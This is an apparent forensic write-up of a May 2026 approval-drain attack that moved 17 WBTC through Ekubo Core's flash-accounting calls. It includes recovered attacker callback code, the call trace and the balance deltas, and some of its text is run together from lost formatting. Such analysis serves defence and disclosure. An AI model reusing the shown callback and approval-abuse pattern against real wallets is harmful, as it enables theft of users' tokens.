2026-05-05 · Loss: 17 WBTC (~$1.4M) · Approval Drain
On Ethereum mainnet, transaction 0x770bc9a1f7c32cb63a5002b9ceb5c7994cd3af0fc6b2309cb32d3c46f629daa0 succeeded at block 25030409 on 2026-05-05T17:50:35Z. The attacker repeatedly invoked EkuboCore.lock(), withdraw(), and pay(), making the transaction appear tied to Ekubo’s flash-accounting path. The on-chain balance deltas show a narrower loss source: Ekubo Core finished the transaction with zero net WBTC change, while EOA 0x765decf4fa157756e850c1079f60801b9219edd1 lost 17 WBTC after previously granting malicious contract 0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd an unlimited WBTC allowance. The attacker used Ekubo’s flash-accounting flow as an execution rail to pull WBTC from that approved victim and deliver the same amount to attacker EOA 0xa911ff351b143634dbc5af3e204ea074583a83e3, for an approximate loss of $1.4M.
EkuboCore 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444 in this transaction.0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd (AttackLockCallback in the recovered artifacts).0x8ccb... and 0xe0e0....0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd: recovered [approximation]0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444: verifiedaccess_controlpayCallback(uint256,address) selector 0x599d0714 on 0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd [recovered - approximation]withdraw(address,address,uint128) selector 0x03a65ab6pay(address) selector 0x0c11deddlock() selector 0xf83d08basrc/base/FlashAccountant.sol under the Ekubo Core source tree.Recovered malicious callback logic:
// [recovered — approximation]
function payCallback(uint256 id, address token) external {
require(msg.sender == address(CORE), "core only");
id;
if (msg.data.length >= 132) {
uint256 amount;
address source;
assembly ("memory-safe") {
amount := calldataload(0x64)
source := shr(96, calldataload(0x84))
}
if (amount != 0) {
IERC20Like(token).transferFrom(source, address(CORE), amount); // <-- VULNERABILITY
return;
}
}
revert("unrecovered callback branch");
}
Verified Ekubo flash-accounting path used by the malicious contract:
function pay(address token) external returns (uint128 payment) {
(uint256 id,) = _getLocker();
assembly ("memory-safe") {
let free := mload(0x40)
mstore(20, address())
mstore(0, 0x70a08231000000000000000000000000)
let tokenBalanceBefore :=
mul(
mload(free),
and(
gt(returndatasize(), 0x1f),
staticcall(gas(), token, 0x10, 0x24, free, 0x20)
)
)
mstore(free, shl(224, 0x599d0714))
mstore(add(free, 4), id)
mstore(add(free, 36), token)
calldatacopy(add(free, 68), 36, sub(calldatasize(), 36)) // <-- attacker-controlled tail calldata forwarded
if iszero(call(gas(), caller(), 0, free, add(32, calldatasize()), 0, 0)) {
returndatacopy(free, 0, returndatasize())
revert(free, returndatasize())
}
let tokenBalanceAfter :=
mul(
mload(0x20),
and(
gt(returndatasize(), 0x1f),
staticcall(gas(), token, 0x10, 0x24, 0x20, 0x20)
)
)
payment := sub(tokenBalanceAfter, tokenBalanceBefore) // <-- only Core balance delta is enforced
}
unchecked {
_accountDebt(id, token, -int256(uint256(payment)));
}
}
function withdraw(address token, address recipient, uint128 amount) external {
(uint256 id,) = _requireLocker();
_accountDebt(id, token, int256(uint256(amount)));
if (token == NATIVE_TOKEN_ADDRESS) {
SafeTransferLib.safeTransferETH(recipient, amount);
} else {
SafeTransferLib.safeTransfer(token, recipient, amount); // <-- withdrawn WBTC is sent to attacker-controlled recipient
}
}
The decisive weakness in this transaction is not a broken Ekubo invariant; it is the victim’s standing approval to the malicious callback contract.
Expected behavior:
EkuboCore.pay() from that third party.funds_flow.json would show a negative net WBTC change for 0xe0e0....Actual behavior:
25030408, allowance(0x765decf4fa157756e850c1079f60801b9219edd1, 0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd) was 2^256 - 1.allowance(0x765decf4fa157756e850c1079f60801b9219edd1, 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444) was 0.payCallback(uint256,address) calling WBTC.transferFrom(0x765d..., 0xe0e0..., 0.2 WBTC) 85 times, while EkuboCore.withdraw(WBTC, attackerEOA, 0.2 WBTC) sends the matching 0.2 WBTC to the attacker EOA each time.funds_flow.json shows the resulting net deltas exactly: attacker EOA +17 WBTC, victim EOA -17 WBTC, Ekubo Core 0 WBTC net.Normal flow vs attack flow:
Normal flow:
lock().Attack flow:
AttackDispatcher calls AttackLockCallback 85 times.AttackLockCallback withdraws 0.2 WBTC from Ekubo Core to attacker EOA on each iteration.payCallback, the same contract uses the victim EOA’s pre-existing unlimited WBTC approval to refill Core with 0.2 WBTC from 0x765d....This matters because it makes the transaction look like an Ekubo exploit while the actual economic loss is an authorization drain from the victim EOA. The verified Ekubo code is functioning consistently with its flash-accounting model in this trace; the malicious callback contract abuses an off-protocol approval to settle its Ekubo debt with third-party funds.
Primary on-chain artifacts and historical chain state support the approval-drain conclusion independently of the recovered attacker-contract pseudocode:
85 transfers from Ekubo Core to attacker EOA, and 85 transfers from victim EOA back to Ekubo Core. Each transfer is 20_000_000 raw WBTC units (0.2 WBTC), for a total of 17 WBTC in each direction.0x765d... changed from 1,701,484,735 to 1,484,735 raw WBTC (-17 WBTC), attacker 0xa911... changed from 0 to 1,700,000,000 raw WBTC (+17 WBTC), and Ekubo Core stayed unchanged at 32,349,396 raw WBTC.25030408, the victim had unlimited WBTC allowance to 0x8ccb..., zero allowance to Ekubo Core, and after the exploit the victim-to-0x8ccb... allowance decreased by exactly 1,700,000,000 raw units (17 WBTC).EkuboCore.pay(WBTC) call invokes payCallback(uint256,address) on 0x8ccb..., and that callback immediately calls WBTC.transferFrom(victim, EkuboCore, 20_000_000).withdraw() records debt and sends tokens to the chosen recipient, while pay() only requires Core’s token balance to increase during the payer callback.These checks reject two alternative explanations. First, Ekubo Core was not the economic loss source in this transaction because its WBTC balance and net transfer delta are both unchanged. Second, the victim did not approve Ekubo Core; the consumed approval belonged to the malicious callback contract 0x8ccb....
85 times in a loop.0.2 WBTC from Ekubo Core to the attacker EOA.0.2 WBTC from the victim back into Ekubo Core.85 iterations, the attacker EOA has accumulated 17 WBTC, the victim EOA has lost 17 WBTC, and Ekubo Core’s WBTC balance is unchanged.The trace-derived call flow is:
0xa911ff351b143634dbc5af3e204ea074583a83e3
-> 0x61b0dad9628d3e644eb560a5c9b0f960430e3a75 func_0x718a549d(...) [CALL]
-> repeated 85 times:
-> 0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd 0x00090905 [CALL]
-> 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444 lock() [CALL]
-> 0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd locked(uint256) [CALL]
-> 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444 forward(address) [CALL, reverts]
-> 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 forwarded(uint256,address) [CALL, reverts]
-> 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444 withdraw(address,address,uint128) [CALL]
-> 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 transfer(address,uint256) [CALL]
-> 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444 pay(address) [CALL]
-> 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 balanceOf(address) [STATICCALL]
-> 0x8ccb1ffd5c2aa6bd926473425dea4c8c15de60fd payCallback(uint256,address) [CALL]
-> 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 transferFrom(address,address,uint256) [CALL]
-> 0x2260fac5e5542a773aa44fbcfedf7c193bc2c599 balanceOf(address) [STATICCALL]
Important trace facts:
forward(address) reverts 85 times, but the parent locked(uint256) call does not revert. The malicious contract ignores that branch and continues with withdraw() and pay().withdraw() call is withdraw(WBTC, attackerEOA, 20_000_000), i.e. 0.2 WBTC to 0xa911....pay() call includes attacker-controlled trailing calldata after the token argument.transferFrom() call is transferFrom(0x765decf4fa157756e850c1079f60801b9219edd1, 0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444, 20_000_000).0xa911ff351b143634dbc5af3e204ea074583a83e3: +17 WBTC0x765decf4fa157756e850c1079f60801b9219edd1: -17 WBTC0xe0e0e08a6a4b9dc7bd67bcb7aade5cf48157d444: net 0 WBTC~$1.4M1,735,7860.249694514 gwei0.000433416241678004 ETHProtocol solvency impact:
funds_flow.json summary:17 WBTC17 WBTC025030408:allowance(0x765d..., 0x8ccb...) = 115792089237316195423570985008687907853269984665640564039457584007913129639935allowance(0x765d..., 0xe0e0...) = 025030409:allowance(0x765d..., 0x8ccb...) = 1157920892373161954235709850086879078532699846656405640394575840079114296399351_700_000_000 raw WBTC units (17 WBTC), matching the victim’s loss.25030408 to block 25030409:1_701_484_735 -> 1_484_735 raw units (-17 WBTC)0 -> 1_700_000_000 raw units (+17 WBTC)32_349_396 -> 32_349_396 raw units (0 WBTC)85 WBTC transfers from 0xe0e0... to 0xa911..., total 1_700_000_000 raw units85 WBTC transfers from 0x765d... to 0xe0e0..., total 1_700_000_000 raw unitstransferFrom() calldata resolves to:from = 0x765DECF4Fa157756e850C1079F60801b9219Edd1to = 0xe0e0e08A6A4b9Dc7bD67BCB7aadE5cF48157d444amount = 20_000_000 raw WBTC units (0.2 WBTC)status = 0x1 and 170 logs.